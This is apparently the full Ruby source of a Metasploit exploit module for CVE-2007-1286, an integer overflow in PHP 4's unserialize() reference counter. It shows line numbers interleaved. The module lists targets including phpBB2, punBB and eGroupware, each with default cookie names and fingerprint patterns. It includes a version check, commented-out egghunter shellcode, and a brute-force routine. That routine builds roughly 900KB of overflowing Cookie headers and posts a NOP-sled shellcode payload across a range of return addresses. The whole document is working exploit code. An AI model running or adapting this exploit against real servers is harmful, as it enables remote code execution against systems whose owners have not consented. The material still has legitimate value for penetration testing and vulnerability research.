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1
##
2
# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Exploit::Brute
12

13
  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)',
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      'Description'    => %q{
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          This module exploits an integer overflow vulnerability in the unserialize()
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        function of the PHP web server extension. This vulnerability was patched by
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        Stefan in version 4.5.0 and applies all previous versions supporting this function.
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        This particular module targets numerous web applications and is based on the proof
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        of concept provided by Stefan Esser. This vulnerability requires approximately 900k
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        of data to trigger due the multiple Cookie headers requirement. Since we
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        are already assuming a fast network connection, we use a 2Mb block of shellcode for
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        the brute force, allowing quick exploitation for those with fast networks.
25

26
        One of the neat things about this vulnerability is that on x86 systems, the EDI register points
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        into the beginning of the hashtable string. This can be used with an egghunter to
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        quickly exploit systems where the location of a valid "jmp EDI" or "call EDI" instruction
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        is known. The EDI method is faster, but the bandwidth-intensive brute force used by this
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        module is more reliable across a wider range of systems.
31
      },
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      'Author'         =>
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        [
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          'hdm',                                        # module development
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          'GML <grandmasterlogic[at]gmail.com>',      # module development and debugging
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          'Stefan Esser <sesser[at]hardened-php.net>' # discovered, patched, exploited
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        ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2007-1286'],
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          ['OSVDB', '32771'],
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          ['URL', 'http://www.php-security.org/MOPB/MOPB-04-2007.html'],
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        ],
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'Space'       => 1024,
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        },
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      'Platform'       => %w{ linux },
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      'Targets'        =>
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        [
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54
          #
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          # 64-bit SuSE:    0x005c0000
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          # Backtrack 2.0:  0xb797a000
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          # Gentoo:         0xb6900000
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          #
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          [ 'Linux x86 Generic',
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            {
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              'Platform'      => 'linux',
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              'Arch'          => [ ARCH_X86 ],
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xb6000400 },
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                  'Stop'  => { 'Ret' => 0xbfff0000 },
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                  'Step'  => 1024*1024
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                }
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            }
70
          ],
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          [ 'Linux x86 phpBB2',
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            {
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              'DefaultCookie' => 'phpbb2mysql_data',
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              'DefaultURI'    => '/phpBB2/faq.php',
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              'Signature'     => /Powered\s+by.*phpBB/,
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              'Platform'      => 'linux',
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              'Arch'          => [ ARCH_X86 ],
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xb6000400 },
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                  'Stop'  => { 'Ret' => 0xbfff0000 },
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                  'Step'  => 1024*1024
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                }
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            }
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          ],
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          [ 'Linux x86 punBB',
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            {
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              'DefaultCookie' => 'punbb_cookie',
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              'DefaultURI'    => '/index.php',
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              'Signature'     => /Powered\s+by.*PunBB/,
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              'Platform'      => 'linux',
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              'Arch'          => [ ARCH_X86 ],
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xb6000400 },
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                  'Stop'  => { 'Ret' => 0xbfff0000 },
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                  'Step'  => 1024*1024
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                }
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            }
100
          ],
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          [ 'Linux x86 WWWThreads',
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            {
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              'DefaultCookie' => 'forum_cookie',
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              'DefaultURI'    => '/index.php',
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              'Signature'     => /Powered\s+by.*WWWThreads/,
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              'Platform'      => 'linux',
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              'Arch'          => [ ARCH_X86 ],
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xb6000400 },
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                  'Stop'  => { 'Ret' => 0xbfff0000 },
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                  'Step'  => 1024*1024
113
                }
114
            }
115
          ],
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          [ 'Linux x86 Deadman Redirect',
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            {
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              'DefaultCookie' => 'authcookie',
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              'DefaultURI'    => '/dmr/dmr.php',
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              'Signature'     => /document\.f\.userdata\.focus/,
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              'Platform'      => 'linux',
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              'Arch'          => [ ARCH_X86 ],
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xb6000400 },
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                  'Stop'  => { 'Ret' => 0xbfff0000 },
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                  'Step'  => 1024*1024
128
                }
129
            }
130
          ],
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          [ 'Linux x86 PhpWebGallery',
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            {
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              'DefaultCookie' => 'pwg_remember',
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              'DefaultURI'    => '/phpwebgallery/index.php',
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              'Signature'     => /Powered\s+by.*phpwebgallery/msi,
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              'Platform'      => 'linux',
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              'Arch'          => [ ARCH_X86 ],
138
              'Bruteforce' =>
139
                {
140
                  'Start' => { 'Ret' => 0xb6000400 },
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                  'Stop'  => { 'Ret' => 0xbfff0000 },
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                  'Step'  => 1024*1024
143
                }
144
            }
145
          ],
146
          [ 'Linux x86 Ariadne-CMS',
147
            {
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              'DefaultCookie' => 'ARCookie',
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              'DefaultURI'    => '/ariadne/loader.php/',
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              'Signature'     => /Ariadne is free software/,
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              'Platform'      => 'linux',
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              'Arch'          => [ ARCH_X86 ],
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              'Bruteforce' =>
154
                {
155
                  'Start' => { 'Ret' => 0xb6000400 },
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                  'Stop'  => { 'Ret' => 0xbfff0000 },
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                  'Step'  => 1024*1024
158
                }
159
            }
160
          ],
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          [ 'Linux x86 ProMA',
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            {
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              'DefaultCookie' => 'proma',
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              'DefaultURI'    => '/proma/index.php',
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              'Signature'     => /Change Account Information/,
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              'Platform'      => 'linux',
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              'Arch'          => [ ARCH_X86 ],
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              'Bruteforce' =>
169
                {
170
                  'Start' => { 'Ret' => 0xb6000400 },
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                  'Stop'  => { 'Ret' => 0xbfff0000 },
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                  'Step'  => 1024*1024
173
                }
174
            }
175
          ],
176
          [ 'Linux x86 eGroupware',
177
            {
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              'DefaultCookie' => 'eGW_remember',
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              'DefaultURI'    => '/egroupware/login.php',
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              'Signature'     => /www.egroupware.org/,
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              'Platform'      => 'linux',
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              'Arch'          => [ ARCH_X86 ],
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              'Bruteforce' =>
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                {
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                  'Start' => { 'Ret' => 0xb6000400 },
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                  'Stop'  => { 'Ret' => 0xbfff0000 },
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                  'Step'  => 1024*1024
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                }
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            }
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          ]
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        ],
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      'DisclosureDate' => '2007-03-04'))
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      register_options(
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        [
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          OptString.new('URI', [false, "The path to vulnerable PHP script"]),
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          OptString.new('COOKIENAME', [false, "The name of the cookie passed to unserialize()"])
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        ])
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  end
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  def check
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    vprint_status("Checking for a vulnerable PHP version...")
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    #
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    # Pick the URI and Cookie name
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    #
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    cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
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    uri_path    = normalize_uri(datastore['URI']) || target['DefaultURI']
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211
    if(not cookie_name)
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      fail_with(Failure::Unknown, "The COOKIENAME option must be set")
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    end
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215
    if(not uri_path)
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      fail_with(Failure::Unknown, "The URI option must be set")
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    end
218

219
    res = send_request_cgi({
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      'uri'		  => uri_path,
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      'method'	  => 'GET'
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    }, 5)
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    php_bug = false
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226
    if (not res)
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      vprint_status("No response from the server")
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      return Exploit::CheckCode::Unknown # User should try again
229
    end
230

231
    http_fingerprint({ :response => res })  # check method
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233
    if (res.code != 200)
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      vprint_status("The server returned #{res.code} #{res.message}")
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      return Exploit::CheckCode::Safe
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    end
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238
    if (
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        (res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /PHP\/(.*)/) or
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        (res.headers['Server'] and res.headers['Server'] =~ /PHP\/(.*)/)
241
      )
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243
      php_raw = $1
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      php_ver = php_raw.split('.')
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246
      if (php_ver[0].to_i == 4 and php_ver[1] and php_ver[2] and php_ver[1].to_i < 5)
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        vprint_status("The server runs a vulnerable version of PHP (#{php_raw})")
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        php_bug = true
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      else
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        vprint_status("The server runs a non-vulnerable version of PHP (#{php_raw})")
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        return Exploit::CheckCode::Safe
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      end
253
    end
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255
    # Detect the phpBB cookie name
256
    if res.get_cookies =~ /(.*)_(sid|data)=/
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      vprint_status("The server may require a cookie name of '#{$1}_data'")
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    end
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260
    if(target and target['Signature'])
261
      if (res.body and res.body.match(target['Signature']))
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        vprint_status("Detected target #{target.name}")
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      else
264
        vprint_status("Did not detect target #{target.name}")
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      end
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267
    end
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269
    return php_bug ? Exploit::CheckCode::Appears : Exploit::CheckCode::Detected
270
  end
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272

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  def brute_exploit(target_addrs)
274

275
    zvalref   = encode_semis('i:0;R:2;')
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277
#
278
# Use this if we decide to do 'jmp edi' returns vs brute force
279
#
280
=begin
281
    # Linux specific egg-hunter
282
    tagger = "\x90\x50\x90\x50"
283
    hunter =
284
      "\xfc\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80" +
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      "\x3c\xf2\x74\xf1\xb8" +
286
      tagger +
287
      "\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"
288

289
    egghunter = "\xcc" * 39
290
    egghunter[0, hunter.length] = hunter
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292
    hashtable = "\xcc" * 39
293
    hashtable[0, 2] = "\xeb\xc6" # jmp back 32 bytes
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295
    hashtable[20, 4] = [target_addrs['Ret']].pack('V')
296
    hashtable[32, 4] = [target_addrs['Ret']].pack('V')
297
=end
298

299
    #
300
    # Just brute-force addresses for now
301
    #
302
    tagger    = ''
303
    egghunter = rand_text_alphanumeric(39)
304
    hashtable = rand_text_alphanumeric(39)
305
    hashtable[20, 4] = [target_addrs['Ret']].pack('V')
306
    hashtable[32, 4] = [target_addrs['Ret']].pack('V')
307

308

309
    #
310
    # Pick the URI and Cookie name
311
    #
312
    cookie_name = datastore['COOKIENAME'] || target['DefaultCookie']
313
    uri_path    = normalize_uri(datastore['URI']) || target['DefaultURI']
314

315
    if(not cookie_name)
316
      fail_with(Failure::Unknown, "The COOKIENAME option must be set")
317
    end
318

319
    if(not uri_path)
320
      fail_with(Failure::Unknown, "The URI option must be set")
321
    end
322

323
    # Generate and reuse the original buffer to save CPU
324
    if (not @saved_cookies)
325

326
      # Building the malicious request
327
      print_status("Creating the request...")
328

329
      # Create the first cookie header to get this started
330
      cookie_fun = "Cookie: #{cookie_name}="
331
      cookie_fun << Rex::Text.uri_encode(
332
        'a:100000:{s:8:"' +
333
        rand_text_alphanumeric(8) +
334
        '";a:3:{s:12:"' +
335
        rand_text_alphanumeric(12) +
336
        '";a:1:{s:12:"' +
337
        rand_text_alphanumeric(12) +
338
        '";i:0;}s:12:"' +
339
        rand_text_alphanumeric(12) +
340
        '";'+
341
        'i:0;s:12:"' +
342
        rand_text_alphanumeric(12) +
343
        '";i:0;}'
344
      )
345
      cookie_fun << zvalref * 500
346
      cookie_fun << Rex::Text.uri_encode('s:2:"')
347
      cookie_fun << "\r\n"
348

349
      refcnt = 1000
350
      refmax = 65535
351

352
      # Keep adding cookie headers...
353
      while(refcnt < refmax)
354

355
        chead   = 'Cookie: ';
356
        chead  << encode_semis('";N;')
357

358
        # Stay within the 8192 byte limit
359
        0.upto(679) do |i|
360
          break if refcnt >= refmax
361
          refcnt += 1
362

363
          chead << zvalref
364
        end
365
        chead << encode_semis('s:2:"')
366
        cookie_fun << chead + "\r\n"
367
      end
368

369
      # The final header, including the hashtable with return address
370
      cookie_fun << "Cookie: "
371
      cookie_fun << Rex::Text.uri_encode('";N;')
372
      cookie_fun << zvalref * 500
373

374
      @saved_cookies = cookie_fun
375
    end
376

377
    # Generate and reuse the payload to save CPU time
378
    if (not @saved_payload)
379
      @saved_payload = ((tagger + tagger + make_nops(8192) + payload.encoded) * 256)
380
    end
381

382
    cookie_addrs = Rex::Text.uri_encode(
383
      's:39:"' + egghunter + '";s:39:"'+ hashtable +'";i:0;R:3;'
384
    ) + "\r\n"
385

386
    print_status("Trying address 0x%.8x..." % target_addrs['Ret'])
387
    res = send_request_cgi({
388
      'uri'		  => uri_path,
389
      'method'	  => 'POST',
390
      'raw_headers' => @saved_cookies + cookie_addrs,
391
      'data'        => @saved_payload
392
    }, 1)
393

394

395
    if res
396
      failed = false
397

398
      print_status("Received a response: #{res.code} #{res.message}")
399

400
      if (res.code != 200)
401
        print_error("The server returned a non-200 response, indicating that the exploit failed")
402
        failed = true
403
      end
404

405
      if (not failed and (res.body and res.body.length > 0))
406
        print_error("The server returned a real response, indicating that the exploit failed")
407
        failed = true
408
      end
409

410
      if (failed)
411
        print_status("Please verify the URI and COOKIENAME parameters.")
412
        print_line('')
413
        print_line("*" * 40)
414
        print_line(res.body)
415
        print_line("*" * 40)
416
        print_line('')
417

418
        fail_with(Failure::Unknown, "Exploit settings are probably wrong")
419
      end
420
    else
421
      print_status("No response from the server")
422
    end
423

424
  end
425

426
  def encode_semis(str)
427
    str.gsub(';') { |s| sprintf("%%%.2x", s[0]) }
428
  end
429
end
430

431